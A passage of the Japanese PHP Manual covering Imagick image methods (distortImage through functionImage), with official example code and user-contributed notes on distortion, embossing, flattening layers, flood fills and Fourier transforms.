$degrees = array( 180 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_ARC, $degrees, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Rotated Arc

<?php
$image = new imagick( "opossum.jpg" );
$draw = new imagickdraw();
$degrees = array( 180, 45, 100, 20 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_ARC, $degrees, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Bilinear

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25, # top left
                176,0, 126,0, # top right
                0,135, 0,105, # bottom right
                176,135, 176,135 # bottum left
                );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_BILINEAR, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Perspective

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25, # top left
                176,0, 126,0, # top right
                0,135, 0,105, # bottom right
                176,135, 176,135 # bottum left
                );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_PERSPECTIVE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Scale Rotate Translate

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                 1.5, # scale 150%
                 150 # rotate
               );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( imagick::DISTORTION_SCALEROTATETRANSLATE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>
ashokmca.g at gmail dot com 04-Feb-2011 02:13
Slide image with shadow using distortImage

<?php

$slideValue = 150;

// Create new object
$im = new Imagick("grnhrs.jpg");

// Resize
$im->thumbnailImage(500,400);

// Set the image format to png
$im->setImageFormat('png');

//Clone the current object
$shadow = $im->clone();

//Set image background color to black (this is the color of the shadow)
$shadow->setImageBackgroundColor( new ImagickPixel( 'black' ) );

 //Create the shadow
$shadow->shadowImage( 80, 10, 5, 5 );

// Fill background area with transparent for image
//VIRTUALPIXELMETHOD_TRANSPARENT
$im->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_ TRANSPARENT);

// Activate matte
$im->setImageMatte(true);

//Control points for the distortion
$controlPoints = array( 0, 0,
                        $slideValue, 0,

                        0, $im->getImageHeight(),
                        0, $im->getImageHeight(),

                        $im->getImageWidth(), 0,
                        $im->getImageWidth(), 0,

                        $im->getImageWidth(), $im->getImageHeight(),
                        $im->getImageWidth()-$slideValue, $im->getImageHeight());

// Perform the distortion
$im->distortImage(Imagick::DISTORTION_PERSPECTIVEPROJECTION, $controlPoints, true);

// Perform the distortion in shadow image
$shadow->distortImage(Imagick::DISTORTION_PERSPECTIVEPROJECTION, $controlPoints, true);

// Imagick::shadowImage only creates the shadow.
// That is why the original image is composited over it
$shadow->compositeImage( $im, Imagick::COMPOSITE_OVER, 0, 0 );

/* Ouput the image */
header("Content-Type: image/png");
echo $shadow;

?>


現在の画像上の ImagickDraw オブジェクトをレンダリングする

  • ≪ Imagick::distortImage
  • Imagick::edgeImage ≫
  • PHP Manual
  • Imagick
  • 現在の画像上の ImagickDraw オブジェクトをレンダリングする

Imagick::drawImage

(PECL imagick 2, PECL imagick 3)

Imagick::drawImage — 現在の画像上の ImagickDraw オブジェクトをレンダリングする

説明

public Imagick::drawImage ( ImagickDraw $draw ) : bool

現在の画像上の ImagickDraw オブジェクトをレンダリングします。

パラメータ

draw

画像をレンダリングする描画操作。

返り値

成功した場合に true を返します。

User Contributed Notes

blah at blub dot com 24-Aug-2009 06:21
If your imagick lib begins to say: "Non-conforming drawing primitive...", it could be that your locale are not correctly set. please locate all your setlocale and kill them temporary so you could check it that would solve the problem.
sualk at lednew dot de 30-Sep-2008 04:34
the ImagickDraw (v 2.2.0) seems to disharmonise with PHP-GTK2 (v 2.0.1).

The rendering of an ImagickDraw object on the current image fails (resp. results in a flat image without drawings), if php_gtk2.so is loaded.

Code to reproduce the failure:

#!/usr/bin/php5
<?php
dl("php_gtk2.so"); // comment this for a second try

$string = "Hello world!";

$im = new Imagick();
$draw = new ImagickDraw();

$draw->setFillColor(new ImagickPixel('blue'));

$draw->setFontSize(28);

$metrix = $im->queryFontMetrics($draw, $string);

$draw->annotation(0,25,$string);

$im->newImage($metrix['textWidth'],$metrix['textHeight'], new ImagickPixel('white'));
$im->drawImage($draw);
$im->borderImage(new ImagickPixel('black'), 1, 1);
$im->setImageFormat('png');

$im->writeImage("./test.png");
?>


画像の輪郭を強調する

  • ≪ Imagick::drawImage
  • Imagick::embossImage ≫
  • PHP Manual
  • Imagick
  • 画像の輪郭を強調する

Imagick::edgeImage

(PECL imagick 2, PECL imagick 3)

Imagick::edgeImage — 画像の輪郭を強調する

説明

public Imagick::edgeImage ( float $radius ) : bool

指定した半径の畳み込みフィルタを使用して、画像の輪郭を強調します。 radius に 0 を設定すると自動選択となります。

パラメータ

radius

操作の半径。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::edgeImage()

<?php
function edgeImage($imagePath, $radius) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->edgeImage($radius);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


グレースケール画像に三次元効果を施して返す

  • ≪ Imagick::edgeImage
  • Imagick::encipherImage ≫
  • PHP Manual
  • Imagick
  • グレースケール画像に三次元効果を施して返す

Imagick::embossImage

(PECL imagick 2, PECL imagick 3)

Imagick::embossImage — グレースケール画像に三次元効果を施して返す

説明

public Imagick::embossImage ( float $radius , float $sigma ) : bool

グレースケール画像に三次元効果を施したものを返します。 指定した半径と標準偏差 (シグマ) によるガウス演算によって画像を畳み込みます。 意味のある結果を得るには、半径がシグマより大きくなければなりません。 radius に 0 を指定すると、適切な半径を自動的に設定します。

パラメータ

radius

効果の半径。

sigma

効果のシグマ。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::embossImage()

<?php
function embossImage($imagePath, $radius, $sigma) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->embossImage($radius, $sigma);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

DJ Mike 11-Apr-2011 11:17
embossImage() will actually return a color image with a 3D effect. If you want a gray scale image, you can use imagefilter() from the regular GD functions.

<?php
header("Content-type: image/jpeg");
$image = new Imagick("opossum.jpg");
$image->embossImage( 0, 1 );
echo $image;
?>


画像を暗号化する

  • ≪ Imagick::embossImage
  • Imagick::enhanceImage ≫
  • PHP Manual
  • Imagick
  • 画像を暗号化する

Imagick::encipherImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::encipherImage — 画像を暗号化する

説明

public Imagick::encipherImage ( string $passphrase ) : bool

プレーンなピクセル群を暗号化します。Imagick::decipherImage() で復号するまで、この画像は読めなくなります。 このメソッドは、ImageMagick バージョン 6.3.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

passphrase

パスフレーズ。

返り値

成功した場合に true を返します。

参考

  • Imagick::decipherImage() - 画像を復号する

User Contributed Notes

There are no user contributed notes for this page.


ノイジーな画像の品質を向上させる

  • ≪ Imagick::encipherImage
  • Imagick::equalizeImage ≫
  • PHP Manual
  • Imagick
  • ノイジーな画像の品質を向上させる

Imagick::enhanceImage

(PECL imagick 2, PECL imagick 3)

Imagick::enhanceImage — ノイジーな画像の品質を向上させる

説明

public Imagick::enhanceImage ( ) : bool

デジタルフィルタを適用して、ノイジーな画像の品質を向上させます。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::enhanceImage()

<?php
function enhanceImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->enhanceImage();
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像ヒストグラムを均等化する

  • ≪ Imagick::enhanceImage
  • Imagick::evaluateImage ≫
  • PHP Manual
  • Imagick
  • 画像ヒストグラムを均等化する

Imagick::equalizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::equalizeImage — 画像ヒストグラムを均等化する

説明

public Imagick::equalizeImage ( ) : bool

画像ヒストグラムを均等化します。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::equalizeImage()

<?php
function equalizeImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->equalizeImage();
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


式を画像に適用する

  • ≪ Imagick::equalizeImage
  • Imagick::exportImagePixels ≫
  • PHP Manual
  • Imagick
  • 式を画像に適用する

Imagick::evaluateImage

(PECL imagick 2, PECL imagick 3)

Imagick::evaluateImage — 式を画像に適用する

説明

public Imagick::evaluateImage ( int $op , float $constant , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

算術演算、関係演算、論理演算などを画像に適用します。 これらの演算子を使用すると、画像の明度を変えたりコントラストを変えたり、 あるいは画像の "ネガ" を作成したりすることができます。

パラメータ

op

評価演算子。

constant

演算子の値。

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 チャネル定数 の一覧を参照ください。

例

例1 Imagick::evaluateImage() の使用法

evaluateImage を使って画像の不透明度を減らします。

<?php
// 新しいオブジェクトを画像から作成します
$im = new Imagick('example-alpha.png');

// アルファを 50% に減らします
$im->evaluateImage(Imagick::EVALUATE_DIVIDE, 2, Imagick::CHANNEL_ALPHA);

// 画像を出力します
header("Content-Type: image/png");
echo $im;
?>

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

nils dot rocine at gmail dot com 04-Jan-2012 11:10
What worked for me to convert a JPG source file to a semi-transparent PNG.

<?php
    $srcImagick = new Imagick($srcPath);

    $pathTo50Perc = 'transparent1.png';

    $srcImagick->setImageAlphaChannel(Imagick::ALPHACHANNEL_OPAQUE);

    $srcImagick->evaluateImage(Imagick::EVALUATE_DIVIDE, 2, Imagick::CHANNEL_ALPHA);

    $srcImagick->writeImage($pathTo50Perc);
?>


画像の生のピクセルをエクスポートする

  • ≪ Imagick::evaluateImage
  • Imagick::extentImage ≫
  • PHP Manual
  • Imagick
  • 画像の生のピクセルをエクスポートする

Imagick::exportImagePixels

(PECL imagick 2 >=2.3.0, PECL imagick 3)

Imagick::exportImagePixels — 画像の生のピクセルをエクスポートする

説明

public Imagick::exportImagePixels ( int $x , int $y , int $width , int $height , string $map , int $STORAGE ) : array

画像のピクセルを配列にエクスポートします。map には、エクスポートするピクセルの順序を指定します。 返される配列の大きさは width * height * strlen(map) となります。 このメソッドは、ImageMagick バージョン 6.4.7 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

x

エクスポートする範囲の X 座標。

y

エクスポートする範囲の Y 座標。

width

エクスポートする範囲の幅。

height

エクスポートする範囲の高さ。

map

エクスポートするピクセルの順序。"RGB" など。 map で使える文字は R, G, B, A, O, C, Y, M, K, I および P です。

STORAGE

ピクセル型定数 を参照ください。

例

例1 Imagick::exportImagePixels() の使用法

画像のピクセルを配列にエクスポートします。

<?php

/* 新しいオブジェクトを作成します */
$im = new Imagick();

/* 新しい画像を作成します */
$im->newPseudoImage(0, 0, "magick:rose");

/* 画像のピクセルをエクスポートします。 */
$pixels = $im->exportImagePixels(10, 10, 2, 2, "RGB", Imagick::PIXEL_CHAR);

/* 出力します */
var_dump($pixels);
?>

上の例の出力は以下となります。

array(12) {
  [0]=>
  int(72)
  [1]=>
  int(64)
  [2]=>
  int(57)
  [3]=>
  int(69)
  [4]=>
  int(59)
  [5]=>
  int(43)
  [6]=>
  int(124)
  [7]=>
  int(120)
  [8]=>
  int(-96)
  [9]=>
  int(91)
  [10]=>
  int(84)
  [11]=>
  int(111)
}

返り値

ピクセルの値を含む配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のサイズを設定する

  • ≪ Imagick::exportImagePixels
  • Imagick::filter ≫
  • PHP Manual
  • Imagick
  • 画像のサイズを設定する

Imagick::extentImage

(PECL imagick 2, PECL imagick 3)

Imagick::extentImage — 画像のサイズを設定する

説明

public Imagick::extentImage ( int $width , int $height , int $x , int $y ) : bool

画像のサイズを設定するための便利なメソッドです。 このメソッドは、画像のサイズおよび新しい領域を開始する x 座標、y 座標を設定することができます。 このメソッドは、ImageMagick バージョン 6.3.1 以降で Imagick をコンパイルした場合に使用可能です。

警告

ImageMagick 6.5.7-8 (1623) より前のバージョンでは、$x は、左にシフトするときが正で右にシフトするときが負でした。 また $y は、上にシフトするときが正で下にシフトするときが負でした。 ImageMagick 6.3.7 (1591) から ImageMagick 6.5.7-8 (1623) までのどこかで、$x と $y の座標が反転しました。 つまり、$x は、左にシフトするときが負で右にシフトするときが正になりました。 また $y も、上にシフトするときが負で下にシフトするときが正になりました。 そして ImageMagick 6.5.7-8 (1623) から ImageMagick 6.6.9-7 (1641) までのどこかで、$x と $y の座標が再び反転して、ImageMagick 6.5.7-8 (1623) より前のバージョンと同じ状態に戻りました。

パラメータ

width

新しい幅。

height

新しい高さ。

x

新しいサイズの X 座標。

y

新しいサイズの Y 座標。

返り値

成功した場合に true を返します。

参考

  • Imagick::resizeImage() - 画像のサイズを変更する
  • Imagick::thumbnailImage() - 画像のサイズを変更する
  • Imagick::cropImage() - 画像の一部を抽出する

User Contributed Notes

orgoj 13-Feb-2014 06:52
Some tiff image are corrupted, if used without prior calling setImageMatte(false).
bas at vdsluis dot net 03-Dec-2009 04:44
This function cannot handle images with a transparent background. Use setImageExtent instead.


Description

  • ≪ Imagick::extentImage
  • Imagick::flattenImages ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::filter

(PECL imagick 3 >= 3.3.0)

Imagick::filter — Description

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::filter ( ImagickKernel $ImagickKernel , int $channel = Imagick::CHANNEL_UNDEFINED ) : bool

Applies a custom convolution kernel to the image.

パラメータ

ImagickKernel

An instance of ImagickKernel that represents either a single kernel or a linked series of kernels.

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

例

例1 Imagick::filter()

<?php
function filter($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $matrix = [
        [-1, 0, -1],
        [0,  5,  0],
        [-1, 0, -1],
    ];

    $kernel = \ImagickKernel::fromMatrix($matrix);
    $strength = 0.5;
    $kernel->scale($strength, \Imagick::NORMALIZE_KERNEL_VALUE);
    $kernel->addUnityKernel(1 - $strength);

    $imagick->filter($kernel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

wangzh at dingl dot me 02-Aug-2017 11:50
-----Imagick  3.4.3  &&  ImageMagick 7.0.6

-----why cannot find filter method?????

if (!method_exists(Imagick, 'filter')) {
    echo 'undefined filter()！';
} else {
    echo 'defined filter()！';
}
wangzh at dingl dot me 02-Aug-2017 10:21
-----Imagick::filter cannot work!

-----suse linux server   ,   imagick module version 3.4.3

-----run Example #1 Imagick::filter()  , there is no result!  where is problem?

thank you for your answer!

Alex


画像シーケンスをマージする

  • ≪ Imagick::filter
  • Imagick::flipImage ≫
  • PHP Manual
  • Imagick
  • 画像シーケンスをマージする

Imagick::flattenImages

(PECL imagick 2, PECL imagick 3)

Imagick::flattenImages — 画像シーケンスをマージする

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::flattenImages ( ) : Imagick

画像シーケンスをマージします。 これは、たとえば Photoshop のレイヤを単一の画像にまとめる場合などに便利です。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

A.Ross 26-Mar-2015 01:44
Replying to Francois:
<?php
$im->setImageBackgroundColor('white');
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_REMOVE);
$im->mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN);
?>

Imagick::ALPHACHANNEL_REMOVE has been added in 3.2.0b2 (before the RC): http://pecl.php.net/package-info.php?package=imagick&version=3.2.0b2

The problem is with people who want to implement this, but are stuck with an Imagick version < 3.2.0b2. They can't use this constant. However, all is not lost. I've found a reference where someone got this to work using an integer: http://stackoverflow.com/q/28154179/1000608

The number he used is 11, which seems to suggest that the value of Imagick::ALPHACHANNEL_REMOVE is 11, and the function worked correctly in this usecase even before the constant was implemented. So if you're stuck with <3.2.0b2 this is the code you need:

<?php
$im->setImageBackgroundColor('white');
$im->setImageAlphaChannel(11);
$im->mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN);
?>

This works at least as far back as version 3.1.0~rc1-1 (current version of the php5-imagick package in Debian 7).
thomasbachem 10-Mar-2015 12:05
The actual replacement now that flattenImages() has been deprecated is:

<?php
$im = $im->mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN);
?>

So you need to (re)assign the returned Imagick object.
francois 06-Feb-2015 07:57
As nick said, the function Imagick::flattenImages() is deprecated. Replacing it by Imagick::mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN) partially worked. Images with transparency (ex: .png) get black background even if the image background is set to white.

Old working code:
$im->setImageBackgroundColor('white');
$im = $im->flattenImages();

New working code:
$im->setImageBackgroundColor('white');
$im->setImageAlphaChannel(imagick::ALPHACHANNEL_REMOVE);
$im->mergeImageLayers(imagick::LAYERMETHOD_FLATTEN);

imagick::ALPHACHANNEL_REMOVE is not shown on the constants page but do works with Imagick 3.2.0RC1.
nick at nickdobie dot com 11-Nov-2014 02:38
This function is deprecated and will throw a warning in PHP 5.6. Simply replace this call with Imagick::mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN) and it will behave the same way.
ureimers 10-Feb-2014 11:15
Small correction to Jairu5's code:

If you want to set the background color of a transparent image you have to set it _before_ loading the image.
Flattening images by default uses the background color 'white'. That's why Jairu5's code seem to work at first, but only until you want to actually change the background color to something different than white.

Try using this instead:

<?php

$im = new Imagick();
$im->setImageBackgroundColor('green');
$im->readimage('image.png');

$im = $im->flattenImages();

$im->setImageFormat('jpg');
$im->writeImage('image.jpg');

?>
Samuel Fine (hi at samuelfine dot com) 05-Dec-2011 09:32
This is also useful for accurately converting .ico files to .png. (Other types as well, in theory, but I've only tested ico->png.) Simply using setFormat will create a valid .png file, but will result in image artifacts if the original .ico had any transparency. The following code will create an accurate copy:

<?php

$im = new Imagick();

// When dealing with .ico files, make sure to setFormat before loading the image or you'll get a nasty exception. See https://bugs.php.net/bug.php?id=58515 for more details.
$im->setFormat("ico");

$im->readImage("favicon.ico");

$im = $im->flattenImages(); // Thanks for the tip, Jairu5!

$im->setFormat("png");

$new = fopen("favicon.png", "w");
$im->writeImageFile($new);
$im->clear();
$im->destroy();

?>
Jairu5 30-Nov-2010 08:29
Note that the function returns an Imagick object and does not modify the existing object. Below is my code for converting a PNG with transparency into a JPG with a background color. This code illustrates the difference.

<?php

$im = new Imagick('image.png');
$im->setImageBackgroundColor('white');

$im->flattenImages(); // This does not do anything.
$im = $im->flattenImages(); // Use this instead.

$im->setImageFormat('jpg');
$im->writeImage('image.jpg');

?>


垂直方向に反転した画像を作成する

  • ≪ Imagick::flattenImages
  • Imagick::floodFillPaintImage ≫
  • PHP Manual
  • Imagick
  • 垂直方向に反転した画像を作成する

Imagick::flipImage

(PECL imagick 2, PECL imagick 3)

Imagick::flipImage — 垂直方向に反転した画像を作成する

説明

public Imagick::flipImage ( ) : bool

中心の x 軸を基準してピクセルを反転させ、垂直方向のミラー画像を作成します。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::flipImage()

<?php
function flipImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->flipImage();
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

jeff at jeffharris dot us 06-Dec-2013 10:39
To avoid the x-axis and y-axis discussion, flipping emulates a mirror at the bottom (or top) of the image.
?o ??o?p ??? x-?x?s ?up ?-?x?s p?s?nss?ou, ???dd?u? ??n????s ? ????o? ?? ??? qo??o? )o? ?od( o? ??? ??????
Lee 06-Jun-2012 08:12
They mean, "Creates a horizontal mirror image by reflecting the pixels around the central y-axis."


対象にマッチする任意のピクセルの値を変更する

  • ≪ Imagick::flipImage
  • Imagick::flopImage ≫
  • PHP Manual
  • Imagick
  • 対象にマッチする任意のピクセルの値を変更する

Imagick::floodFillPaintImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::floodFillPaintImage — 対象にマッチする任意のピクセルの値を変更する

説明

public Imagick::floodFillPaintImage ( mixed $fill , float $fuzz , mixed $target , int $x , int $y , bool $invert , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

対象にマッチするピクセルとその直接の近傍の任意のピクセルの色の値を変更します。 このメソッドは、廃止予定の Imagick::paintFloodFillImage() を置き換えるものです。 このメソッドは、ImageMagick バージョン 6.3.8 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

fill

塗りつぶし色を表す ImagickPixel オブジェクトあるいは文字列。

fuzz

あいまいさをあらわす量。たとえば、これを 10 に設定すると、 赤色の値が 100 の色と 102 の色は同じものとみなされます。

target

対象の色を表す ImagickPixel オブジェクトあるいは文字列。

x

開始位置の X 座標。

y

開始位置の Y 座標。

invert

true の場合は、対象の色にマッチしない任意のピクセルをペイントします。

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

例

例1 Imagick::floodfillPaintImage() の例

<?php

/* 新しい imagick オブジェクトを作ります */
$im = new Imagick();

/* 赤、緑、青の画像を作ります */
$im->newImage(100, 50, "red");
$im->newImage(100, 50, "green");
$im->newImage(100, 50, "blue");

/* 画像をひとつにまとめます */
$im->resetIterator();
$combined = $im->appendImages(true);

/* この時点の画像を比較用に保存します */
$combined->writeImage("floodfillpaint_intermediate.png");

/* 塗りつぶす対象となるピクセル */
$x = 1;
$y = 1;

/* 塗りつぶす色を取得します */
$target = $combined->getImagePixelColor($x, $y);

/* 1,1 の一にあるピクセルと、対象の色にマッチするすべての
   近傍ピクセルを塗りつぶします */
$combined->floodfillPaintImage("black", 1, $target, $x, $y, false);

/* 結果を保存します */
$combined->writeImage("floodfillpaint_result.png");
?>

上の例の出力は、 たとえば以下のようになります。

User Contributed Notes

Anonymous 29-Sep-2018 03:05
For fuzz, percentage or float values do not seem to work. The value is based on the intensity of the image colors.

The documentation states: "The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color."

For those of us who are not graphics geeks, your color intensity might be something like 65535. In which case, to get just 10% fuzz, you need to set it to 6550.

You likely will not see any effect if you are using low numbers or floats, like 100, 20, or 0.8.

For example:
$im = new Imagick();
$transparentColor = new ImagickPixel('transparent');
$greenscreen = '#00FF08';    // Super bright green

$im->readImage("cartoon_dog.png");    // Cartoony dog with a black outline and a #00FF08 (super bright green) background.

// Replace the green background with transparent.

// Leaves significant green lines around the outline of the dog, which is unacceptable.
$im->floodFillPaintImage($transparentColor, 30, $greenscreen, 0, 0, false, Imagick::CHANNEL_ALPHA);

// Works as intended - removes all of the green background.
$im->floodFillPaintImage($transparentColor, 30000, $greenscreen, 0, 0, false, Imagick::CHANNEL_ALPHA);

Credit to the discussion here:
https://php5.kiev.ua/php7/imagick.painttransparentimage.html


垂直方向に反転した画像を作成する

  • ≪ Imagick::floodFillPaintImage
  • Imagick::forwardFourierTransformImage ≫
  • PHP Manual
  • Imagick
  • 垂直方向に反転した画像を作成する

Imagick::flopImage

(PECL imagick 2, PECL imagick 3)

Imagick::flopImage — 垂直方向に反転した画像を作成する

説明

public Imagick::flopImage ( ) : bool

中心の y 軸を基準してピクセルを反転させ、垂直方向のミラー画像を作成します。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::flopImage()

<?php
function flopImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->flopImage();
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::flopImage
  • Imagick::frameImage ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::forwardFourierTransformImage

(PECL imagick 3 >= 3.3.0)

Imagick::forwardFourierTransformImage — Description

説明

public Imagick::forwardFourierTransformimage ( bool $magnitude ) : bool

Implements the discrete Fourier transform (DFT) of the image either as a magnitude / phase or real / imaginary image pair.

パラメータ

magnitude

If true, return as magnitude / phase pair otherwise a real / imaginary image pair.

返り値

成功した場合に true を返します。

例

例1 Imagick::forwardFourierTransformImage()

<?php
//Utility function for forwardTransformImage
function createMask() {
    $draw = new \ImagickDraw();

    $draw->setStrokeOpacity(0);
    $draw->setStrokeColor('rgb(255, 255, 255)');
    $draw->setFillColor('rgb(255, 255, 255)');

    //Draw a circle on the y-axis, with it's centre
    //at x, y that touches the origin
    $draw->circle(250, 250, 220, 250);

    $imagick = new \Imagick();
    $imagick->newImage(512, 512, "black");
    $imagick->drawImage($draw);
    $imagick->gaussianBlurImage(20, 20);
    $imagick->autoLevelImage();

    return $imagick;
}

function forwardFourierTransformImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->resizeimage(512, 512, \Imagick::FILTER_LANCZOS, 1);

    $mask = createMask();
    $imagick->forwardFourierTransformImage(true);

    @$imagick->setimageindex(0);
    $magnitude = $imagick->getimage();

    @$imagick->setimageindex(1);
    $imagickPhase = $imagick->getimage();

    if (true) {
        $imagickPhase->compositeImage($mask, \Imagick::COMPOSITE_MULTIPLY, 0, 0);
    }

    if (false) {
        $output = clone $imagickPhase;
        $output->setimageformat('png');
        header("Content-Type: image/png");
        echo $output->getImageBlob();
    }

    $magnitude->inverseFourierTransformImage($imagickPhase, true);

    $magnitude->setimageformat('png');
    header("Content-Type: image/png");
    echo $magnitude->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


三次元の枠線をシミュレートする

  • ≪ Imagick::forwardFourierTransformImage
  • Imagick::functionImage ≫
  • PHP Manual
  • Imagick
  • 三次元の枠線をシミュレートする

Imagick::frameImage

(PECL imagick 2, PECL imagick 3)

Imagick::frameImage — 三次元の枠線をシミュレートする

説明

public Imagick::frameImage ( mixed $matte_color , int $width , int $height , int $inner_bevel , int $outer_bevel ) : bool

画像の周りに三次元の枠線を追加します。 width と height で、それぞれ縦の枠線と横の枠線の幅を指定します。 inner_bevel および outer_bevel は、 それぞれ枠の内側と外側の影の幅を指定します。

パラメータ

matte_color

マット色を表す ImagickPixel オブジェクトあるいは文字列。

width

枠の幅。

height

枠の高さ。

inner_bevel

内側の影の幅。

outer_bevel

外側の影の幅。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列を最初のパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

例

例1 Imagick::frameImage()

<?php
function frameImage($imagePath, $color, $width, $height, $innerBevel, $outerBevel) {
    $imagick = new \Imagick(realpath($imagePath));

    $width = $width + $innerBevel + $outerBevel;
    $height = $height + $innerBevel + $outerBevel;

    $imagick->frameimage(
        $color,
        $width,
        $height,
        $innerBevel,
        $outerBevel
    );
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像に関数を適用する

  • ≪ Imagick::frameImage
  • Imagick::fxImage ≫
  • PHP Manual
  • Imagick
  • 画像に関数を適用する

Imagick::functionImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::functionImage — 画像に関数を適用する

説明

public Imagick::functionImage ( int $function , array $arguments , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

代数演算、関係演算、論理演算などを疑似画像に適用します。

» ImageMagick v6 Examples - Image Transformations — Function, Multi-Argument Evaluate も参照ください。

このメソッドは、ImageMagick バージョン 6.4.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

function

関数定数 の一覧を参照ください。

arguments

この関数に渡す引数の配列。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 シヌソイドの勾配の作成

<?php
$imagick = new Imagick();
$imagick->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(3, -90);
$imagick->functionImage(Imagick::FUNCTION_SINUSOID, $arguments);

header("Content-Type: image/png");
$imagick->setImageFormat("png");
echo $imagick->getImageBlob();
?>

上の例の出力は、 たとえば以下のようになります。

例2 多項式 (4x^2 - 4x + 1) からの勾配の作成

<?php
$imagick = new Imagick();
$imagick->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(4, -4, 1);
$imagick->functionImage(Imagick::FUNCTION_POLYNOMIAL, $arguments);

